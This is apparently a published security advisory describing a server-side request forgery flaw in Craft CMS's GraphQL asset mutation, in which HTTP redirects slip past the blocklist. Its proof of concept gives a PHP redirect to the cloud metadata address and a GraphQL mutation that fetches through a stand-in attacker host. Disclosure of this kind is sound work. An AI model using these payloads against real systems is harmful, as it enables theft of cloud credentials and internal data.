GHSA-8jr8-7hr4-vhfxMedium

Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect

Published
February 9, 2026
Last Modified
February 9, 2026

🔗 CVE IDs covered (1)

📋 Description

Summary

The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.


Proof of Concept

  1. Host a redirect script on your server (e.g. redirect.php):
<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
  1. Send the following GraphQL mutation:
mutation {
    save_images_Asset(_file: { 
        url: "https://attacker.com/redirect.php"
        filename: "metadata.txt"
    }) {
        id
    }
}
  1. The application validates attacker.com (passes)
  2. Guzzle follows the redirect to 169.254.169.254
  3. Cloud metadata is saved as an asset

Mitigation

  • Disable redirects.

🎯 Affected products2

  • composer/craftcms/cms:>= 5.0.0-RC1, <= 5.8.21
  • composer/craftcms/cms:>= 4.0.0-RC1, <= 4.16.17

🔗 References (6)